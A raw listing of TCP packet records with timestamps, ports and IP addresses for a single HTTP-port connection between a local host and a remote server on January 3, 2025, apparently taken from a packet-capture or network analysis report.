Jan 3, 2025 15:21:27.676640987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.676691055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.676954985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.685525894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.745842934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745898008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745925903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745938063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745949030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745951891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.745974064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745991945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.745995045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746004105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746009111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746015072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746026039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746040106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746046066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746068954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746090889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746102095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746114016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746124983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746135950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746141911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746165991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746207952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746233940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746248960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746259928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746269941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746270895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746282101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746293068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746303082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746309996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746321917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746330023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746331930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746344090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746347904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746366978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746371984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746382952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746393919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746412039 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746433973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746659994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746670008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746681929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746694088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746705055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746705055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746716022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746727943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746731997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746750116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746789932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746844053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746866941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746877909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746881962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746889114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746905088 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746941090 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.746952057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746963024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.746973991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747006893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747013092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747025967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747045040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747047901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747059107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747071028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747081995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747091055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747092009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747102976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747114897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747114897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747134924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747154951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747340918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747350931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747364998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747384071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747406006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747406960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747417927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747441053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747446060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747452974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747473955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747488976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747493982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747499943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747517109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747528076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747541904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747565985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747584105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747596025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747606993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747617006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747627974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747632027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747658014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747659922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747670889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747682095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747699976 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747710943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747720003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747723103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747741938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747752905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.747755051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.747791052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764188051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764305115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764337063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764352083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764355898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764379025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764400005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764411926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764426947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764441967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764455080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764455080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764470100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764480114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764483929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764503956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764528036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764542103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764555931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764569044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764579058 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764581919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764597893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764604092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764611959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764622927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764632940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764658928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764688015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764708996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764724016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764724016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764738083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764751911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764756918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764765024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764779091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764792919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764801979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764806986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764820099 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764821053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764836073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.764848948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.764872074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767307997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767343998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767359018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767386913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767395020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767414093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767450094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767457008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767463923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767477989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767491102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767502069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767504930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767518997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767546892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767587900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767622948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767637968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767652035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767667055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767678976 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767679930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.767705917 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.767724037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.772408962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.836833954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.836981058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.836992979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837004900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837018013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837028980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837038040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837040901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837088108 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837095022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837106943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837117910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837130070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837140083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837142944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837162018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837172985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837188005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837198019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837209940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837220907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837232113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837239027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837243080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837255001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837263107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837265968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837297916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837308884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837308884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837312937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837337971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837348938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837363005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837364912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837373972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837377071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837385893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837395906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837408066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837424994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837449074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837482929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837493896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837524891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837563038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837574959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837599993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837604046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837635994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837646961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837651968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837658882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837688923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837790966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837829113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837872028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837893009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837912083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837928057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837939978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837951899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837951899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.837965965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.837984085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838011980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838084936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838097095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838109016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838119984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838131905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838135958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838143110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838154078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838161945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838165045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838179111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838203907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838363886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838376045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838391066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838414907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838416100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838427067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838439941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838448048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838450909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838481903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838504076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838519096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838530064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838541031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838551998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838562965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838565111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838572979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838598013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838599920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838613033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838620901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838629007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838658094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838661909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838682890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838695049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838697910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838706970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838717937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838728905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838736057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838741064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.838759899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.838788986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855171919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855227947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855259895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855274916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855285883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855300903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855334997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855345964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855365992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855379105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855391979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855392933 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855402946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855415106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855417013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855427980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855448961 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855453968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855473042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855501890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855503082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855515957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855525017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855530977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855549097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855555058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855568886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855581999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855595112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855606079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855607986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855618000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855632067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855633020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855643034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855667114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855691910 CET	49829	80	192.168.2.6	185.215.113.16
